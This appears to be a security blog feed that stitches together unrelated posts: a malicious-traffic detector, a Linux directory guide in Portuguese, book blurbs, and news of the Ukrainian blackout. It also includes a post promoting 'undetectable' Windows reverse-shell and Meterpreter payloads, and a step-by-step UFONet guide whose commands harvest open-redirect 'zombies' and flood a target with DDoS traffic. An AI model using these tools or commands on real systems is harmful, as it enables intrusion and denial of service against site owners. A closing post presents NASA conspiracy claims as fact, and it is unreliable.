Maltrail - Malicious Traffic Detection System

Maltrail is a malicious traffic detection system, utilizing publicly available (black)lists containing malicious and/or generally suspicious trails, along with static trails compiled from various AV reports and custom user defined lists, where trail can be anything from domain name (e.g. zvpprsensinaix.com for Banjori malware), URL (e.g. http://109.162.38.120/harsh02.exe for known malicious executable ) or IP address (e.g. 103.224.167.117 for known attacker). Also, it has (optional) advanced heuristic mechanisms that can help in discovery of unknown threats (e.g. new malware).

The following (black)lists (i.e. feeds) are being utilized:

alienvault, autoshun, badips, bambenekconsultingc2,  bambenekconsultingdga, binarydefense, bitcoinnodes, blocklist,  botscout, bruteforceblocker, ciarmy, cruzit, cybercrimetracker,  dshielddns, dshieldip, emergingthreatsbot, emergingthreatscip,  emergingthreatsdns, feodotrackerdns, feodotrackerip, greensnow,  malwarepatrol, malwareurlsnormal, maxmind, myip, nothink,  openbl, openphish, palevotracker, proxylists, proxyrss,  proxy, riproxies, rutgers, sblam, snort, socksproxy,  sslipbl, sslproxies, torproject, torstatus, voipbl, vxvault,  zeustrackerdns, zeustrackerip, zeustrackermonitor, zeustrackerurl,  etc.  

As of static entries, the trails for the following malicious entities (e.g. malware C&Cs) have been manually included (from various AV reports):

alureon, android_stealer, angler, aridviper, axpergle,  babar, balamid, bamital, bankpatch, bedep, black_vine,  bubnix, carbanak, careto, casper, chewbacca, cleaver,  conficker, cosmicduke, couponarific, crilock, cryptolocker,  cryptowall, ctblocker, darkhotel, defru, desertfalcon,  destory, dorifel, dorkbot, dridex, dukes, dursg,  dyreza, emotet, equation, evilbunny, expiro, fakeran,  fareit, fbi_ransomware, fiexp, fignotok, fin4,  finfisher, gamarue, gauss, htran, jenxcus, kegotip,  kovter, lollipop, lotus_blossom, luckycat, mariposa,  miniduke, modpos, nbot, nettraveler, neurevt, nitol,  nonbolqu, nuqel, nwt, nymaim, palevo, pdfjsc, pift,  plugx, ponmocup, powelike, proslikefan, pushdo,  ransirac, redoctober, reveton, russian_doll, sality,  sathurbot, scieron, sefnit, shylock, siesta, simda,  sinkhole_1and1, sinkhole_abuse, sinkhole_blacklistthisdomain,  sinkhole_certpl, sinkhole_drweb, sinkhole_fbizeus,  sinkhole_fitsec, sinkhole_georgiatech, sinkhole_kaspersky,  sinkhole_microsoft, sinkhole_shadowserver, sinkhole_sinkdns,  sinkhole_zinkhole, skyper, smsfakesky, snake, snifula,  sofacy, stuxnet, teerac, teslacrypt, torpig,  torrentlocker, unruy, upatre, vawtrak, virut, vobfus,  volatile_cedar, vundo, waterbug, zeroaccess, zlob, etc.  

Architecture

Maltrail is based on the Sensor <-> Server <-> Client architecture. Sensor (s) is a standalone component running on the monitoring node (e.g. Linux platform connected passively to the SPAN/mirroring port or transparently inline on a Linux bridge) or at the standalone machine (e.g. Honeypot) where it "sniffs" the passing traffic for blacklisted items/trails (i.e. domain names, URLs and/or IPs). In case of a positive match, it sends the event details to the (central) Server where they are being stored inside the appropriate logging directory (i.e. LOG_DIR described in the Configuration section). If Sensor is being run on the same machine as Server (default configuration), logs are stored directly into the local logging directory. Otherwise, they are being sent via UDP messages to the remote server (i.e. LOG_SERVER described in the Configuration section).

Server 's primary role is to store the event details and provide back-end support for the reporting web application. In default configuration, server and sensor will run on the same machine. So, to prevent potential disruptions in sensor activities, the front-end reporting part is based on the "Fat client" architecture (i.e. all data post-processing is being done inside the client's web browser instance). Events (i.e. log entries) for the chosen (24h) period are transferred to the Client , where the reporting web application is solely responsible for the presentation part. Data is sent toward the client in compressed chunks, where they are processed sequentially. The final report is created in a highly condensed form, practically allowing presentation of virtually unlimited number of events.
Note: Server component can be skipped altogether, and just use the standalone Sensor . In such case, all events would be stored in the local logging directory, while the log entries could be examined either manually or by some CSV reading application.

Quick start

The following set of commands should get your Maltrail Sensor up and running (out of the box with default settings and monitoring interface "any"):

sudo apt-get install python-pcapy  

git clone https://github.com/stamparm/maltrail.git  

cd maltrail  

sudo python sensor.py  

Download Maltrail

Read More

Winpayloads - Undetectable Windows Payload Generation

Undetectable Windows Payload Generation with extras Running on Python2.7

Getting Started

git clone https://github.com/Charliedean/Winpayloads
cd WinPayloads
sudo ./setup.sh
python WinPayloads.py

Menu

[1] Windows Reverse Shell(Stageless) [Shellter]
[2] Windows Reverse Meterpreter(Staged) [Shellter, UacBypass, Priv Esc Checks, Persistence]
[3] Windows Bind Meterpreter(Staged) [Shellter, UacBypass, Priv Esc Checks, Persistence]
[4] Windows Reverse Meterpreter(Raw Shellcode) [Base64 Encode]

Download Winpayloads

Read More

Kali Linux - Wireless Penetration Testing Beginner’s Guide

An updated version of BackTrack 5 Penetration Testing by Vivek Ramachandran. Right from the beginning, this book gives you what you need, without wasting time in unnecessary justifications. Instead of explaining only theoretical concepts, the book consists of finely tuned and crystal clear tutorials that can be easliy performed in Kali Linux. It provides a good mix of basics and high level knowledge and works cohesively with the reader.






By Offensive Sec

Read More

Metasploit - The Penetration Tester’s Guide

This book deals with Penetration Testing by making use of the open source Metasploit Framework testing. It is suitable for readers who have no prior knowledge of Metasploit. The tutorial-like style of the book makes you learn things by doing them.

The ending of the book provides you with an actual penetration test’s simulated version so as to provide you with a realistic experience.






By Offensive Sec

Read More

Hacker’s Playbook - Practical Guide for Ethical Hacking

This book is a must read for beginners. This book focuses on many common obstacles people face during beginning of the ethical hacking. This book can help beginners do their job more efficiently.

This is one of the best books which will take you through the technicalities of areas like programming, shell code and exploitation. Regardless of whether you are a beginner or have very little hacking knowledge, this book will help you understand the complexities of the digital security tasks.





By Offensive Sec

Read More

Estrutura - Diretórios do Linux

Hoje vamos conhecer a estrutura de diretórios do Linux. Muitas pessoas que migram do Windows para o Linux tem bastante problemas em entender o que são todos esses diretórios.

FHS é sigla para Filesystem Hierarchy Standard (padrão para sistema de arquivos hierárquico), e define os principais diretórios de um sistema Linux. Até onde conheço está na versão 2.3, atualizada em 2004.

O sistema FHS é mantido pela Free Standard Groups, que contém engenheiros de empresas como Red Hat, IBM, Dell e HP. Hoje em dia, 99% dos sistemas Linux trabalham com o FHS (provavelmente todos Linux que você conhece usam).

Abaixo a descrição dos principais diretórios definidos pela ultima versão do FHS.

/ (raiz)

Este é o principal diretório do GNU/Linux, e é representado por uma “/” (barra). É no diretório raiz que ficam todos os demais diretórios do sistema. Estes diretórios, que vamos conhecer agora, são chamados de subdiretórios pois estão dentro do diretório /.

/bin

O diretório /bin guarda os comandos essenciais para o funcionamento do sistema. Esse é um diretório público, sendo assim, os comandos que estão nele podem ser utilizados por qualquer usuário do sistema. Entre os comandos, estão:

bash;
ls;
echo;
cp;

/boot

No diretório /boot estão os arquivos estáticos necessários à inicialização do sistema, e o gerenciador de boot. O gerenciador de boot é um programa que carrega um sistema operacional e/ou permite escolher qual será iniciado.

/dev

No diretório /dev ficam todos os arquivos de dispositivos. O Linux faz a comunicação com os periféricos por meio de links especiais que ficam armazenados nesse diretório, facilitando assim o acesso aos mesmos.

/etc

No diretório /etc estão os arquivos de configuração do sistema. Nesse diretório vamos encontrar vários arquivos de configuração, tais como: scripts de inicialização do sistema, tabela do sistema de arquivos, configuração padrão para logins dos usuários, etc.

/lib

No diretório /lib estão as bibliotecas compartilhadas e módulos do kernel . As bibliotecas são funções que podem ser utilizadas por vários programas.

/media

Ponto de montagem para dispositivos removíveis, tais como:

cd;
dvd;
disquete;
pendrive;
câmera digital;
Fique atento: Agora o diretório /media faz parte oficialmente das provas da LPI

/mnt

Esse diretório é utilizado para montagem temporária de sistemas de arquivos, tais como compartilhamentos de arquivos entre Windows e Linux, Linux e Linux, etc.

/opt

Normalmente, é utilizado por programas proprietários ou que não fazem parte oficialmente da distribuição.

/sbin

O diretório /sbin guarda os comandos utilizados para inicializar, reparar, restaurar e/ou recuperar o sistema. Isso quer dizer que esse diretório também é de comandos essenciais, mas os mesmos são utilizados apenas pelo usuário root. Entre os comandos estão:

halt
ifconfig
init
iptables

/srv

Diretório para dados de serviços fornecidos pelo sistema cuja aplicação é de alcance geral, ou seja, os dados não são específicos de um usuário. Por exemplo:
/srv/www (servidor web)
/srv/ftp (servidor ftp)

/tmp

Diretório para armazenamento de arquivos temporários. É utilizado principalmente para guardar pequenas informações que precisam estar em algum lugar até que a operação seja completada, como é o caso de um download. Enquanto não for concluído, o arquivo fica registrado em /tmp, e, assim que é finalizado, é encaminhado para o local correto.

/usr

O diretório /usr contém programas que não são essenciais ao sistema e que seguem o padrão GNU/Linux, como, por exemplo, navegadores, gerenciadores de janelas, etc. O diretório /usr é portável, perceba que dentro dele, existe praticamente uma outra arvore
de diretórios independente da primeira, contendo, lib, bin, sbin dentre outras coisas.

/var

O diretório /var contém arquivos de dados variáveis. Por padrão, os programas que geram um arquivo de registro para consulta, mais conhecido como log, ficam armazenados nesse diretório. Além do log, os arquivos que estão aguardando em filas, também ficam
localizados em /var/spool. Os principais arquivos que se utilizam do diretório /var são :

• mensagens de e-mail;
• arquivos a serem impressos;

Diretório Recomendado

/proc

O /proc é um diretório virtual, mantido pelo kernel, onde encontramos a configuração atual do sistema, dados estatísticos, dispositivos já montados, interrupções, endereços e estados das portas físicas, dados sobre as redes, etc. Aqui, temos subdiretórios com o nome que corresponde ao PID (Process ID) de cada processo. Dentro deles, vamos encontrar diversos arquivos texto contendo várias informações sobre o respectivo processo em execução.

/sys

Pode-se dizer que esse diretório é um primo do diretório /proc. Dentro do diretório /sys podemos encontrar o quase o mesmo conteúdo do proc, mas de uma forma bem mais organizada para nós administradores. Esse diretório está presente desde a versão 2.6 do kernel e traz novas funcionalidades o que se diz respeito a dispositivos PnP.

Diretórios Opcionais
Os diretórios /root e /home podem estar disponíveis no sistema, mas não precisam obrigatoriamente possuir este nome. Por exemplo, o diretório /home poderia se chamar /casa, que não causaria nenhum impacto na estrutura do sistema.

/home

O /home contém os diretórios pessoais dos usuários cadastrados no sistema.

/root

Diretório pessoal do superusuário root. O root é o administrador do sistema, e pode alterar a configuração (dele), configurar interfaces de rede, manipular usuários e grupos, alterar a prioridade dos processos, entre outras.


Fonte: OYS Techonology

By OffensiveSec

Read More

Hackers - Causam o primeiro corte de electricidade da história

Já desligaram países da Internet, já colocaram de joelhos várias empresas e até entidades governamentais.

Os Hackers são, talvez, aqueles que daqui a uma ou duas décadas terão o maior poder nas mãos. E tudo isto porque têm o poder de controlar a informação e a computação.

No dia de Natal, 25 de Dezembro, várias regiões da Ucrânia ficaram sem electricidade Mas isto não se deveu a uma falha física de equipamentos, mas sim a malware.

O Ministério da Energia da Ucrânia já confirmou o ciberataque e está a investigar como é que malware infectou várias infraestruturas locais da região de Ivano-Frankivsk.

BlackEnergy trojan

Este trojan foi descoberto em 2007 e foi atualizado há dois anos para adicionar novas funções entre elas a de impedir que computadores se iniciem no caso de serem desligados.
Uma das novas funções, “KillDisk”, permite destruir em termos informáticos a estrutura de um disto rígido para que este seja “reconhecido” após o sistema ser reiniciado.

Não é certo como é que este ataque foi feito, mas da investigação já revelada pelo We Live Security aponta-se fortemente para o uso de uma backdoor nos computadores industriais. Especula-se também que os hackers capazes desta operação sejam Russos.

Este é o primeiro incidente publicamente conhecido que aponta para um corte de energia físico devido a um ataque cibernético.

Source: Hackers Portugal 

By OffensiveSec

Read More

UFONet - is a tool designed to launch DDoS attacks

UFONet - is a tool designed to launch DDoS attacks against a target, using 'Open Redirect' vectors on third party web applications, like botnet.

See this links for more info:

º CWE-601:Open Redirect: http://cwe.mitre.org/data/definitions/601.html

º OWASP:URL Redirector Abuse: 
https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2

º Web: http://ufonet.03c8.net

Installing:

UFONet runs on many platforms. It requires Python (2.x.y) and the following libraries:

   python-pycurl - Python bindings to libcurl
   python-geoip  - Python bindings for the GeoIP IP-to-country resolver library

On Debian-based systems (ex: Ubuntu), run:

   sudo apt-get install python-pycurl python-geoip

Source libs:

   º Python: https://www.python.org/downloads/
   º PyCurl: http://pycurl.sourceforge.net/
   º PyGeoIP: https://pypi.python.org/pypi/GeoIP/

Searching for ‘zombies’

UFONet will search on google results for possible ‘Open Redirect’ vulnerable sites.

A common query string should be like this:

‘proxy.php?url=’
‘check.cgi?url=’
‘checklink?uri=’
‘validator?uri=’

So for example, you can begin a search with:

./ufonet -s 'proxy.php?url='

At the end of the process, you will be asked if you want to check the list retrieved to see if the urls are vulnerable.

Wanna check if they are valid zombies? (Y/n)

Also, you will be asked to update the list adding automatically only ‘vulnerable’ web apps.

Wanna update your list (Y/n)

If you reply ‘Y’, your new ‘zombies’ will be appended to the file named: zombies.txt

Examples:

with verbose:

./ufonet -s 'proxy.php?url=' -v
retrieve 15 urls:
./ufonet -s 'proxy.php?url=' --sn 15


Testing botnet

Open ‘zombies.txt’ (or another file) and create a list of possible ‘zombies’.

Urls of the ‘zombies’ should be like this:

http://target.com/check?uri=

After that, launch it:

./ufonet -t zombies.txt

At the end of the process, you will be asked if you want to update the list adding automatically only ‘vulnerable’ web apps.

Wanna update your list (Y/n)

If you reply ‘Y’, your file: zombies.txt will be updated.

Examples:

with verbose:

./ufonet -t zombies.txt -v
with proxy TOR:
./ufonet -t zombies.txt --proxy="http://127.0.0.1:8118"


Inspecting a target
This option is useful to know the best place to attack your target.

It will crawl your objetive to provide you with a URL path to the largest object (size)found in the HTML code.

./ufonet -i http://target.com

Then, you will can drive your ‘zombies’ to reload just there, doing your most effective attack.

./ufonet -a http://target.com -b "https://cdn.server.net/biggest_file_on_target.xxx"


Attacking a target

Enter a target to attack, with the number of rounds that will be attacked:

./ufonet -a http://target.com -r 10

This will attack the target, with the list of ‘zombies’ that your provided on: “zombies.txt”, a number of 10 times for each ‘zombie’. That means, that if you have a list of 1.000 ‘zombies’, the program will launch 1.000 ‘zombies’ x 10 rounds = 10.000 ‘hits’ to the target.

By default, if you don’t put any round, it will apply only 1.

Additionally, you can choose a place to recharge on target’s site. For example, a large image, a big size file or a flash movie. In some scenarios where targets doesn’t use cache systems, this will do the attack more effective.

./ufonet -a http://target.com -b "/images/big_size_image.jpg"

Examples:

with verbose:

./ufonet -a http://target.com -r 10 -v
with proxy TOR:
./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118"
with a place:
./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"


GUI/Web Interface
You can manage UFONet using a Web interface. The tool has implemented a python web server connected to the core, to provides you a more user friendly experience.

To launch it, use:

./ufonet --gui


This will open a tab on your default browser with all the options of the tool.

Download UfoNet

Read More

NASA: Algo está prestes a acontecer! O grande segredo que eles não querem que você saiba!

A divulgação sobre o que realmente está acontecendo com a NASA e a exploração do espaço aumentou dramaticamente através de provas de elementos fornecidas por pessoas que costumavam trabalhar para a NASA e várias agências governamentais ligadas ao desenvolvimento de tecnologia para a exploração espacial.

Já não precisamos depender de evidências circunstanciais ou testemunhas oculares civis. Agora temos acesso a alguns documentos secretos, imagens de vídeo confidenciais e entrevistas com alguns dos pesquisadores mais respeitados dentro da comunidade da exploração espacial. 

Agora ao contrário de qualquer outro momento da história somos verdadeiramente capazes de entender como os setores de exploração espacial cai na agenda do governo mundial.

Confira o vídeo:

Fonte: Sempre Questione 

 By OffensiveSec

Read More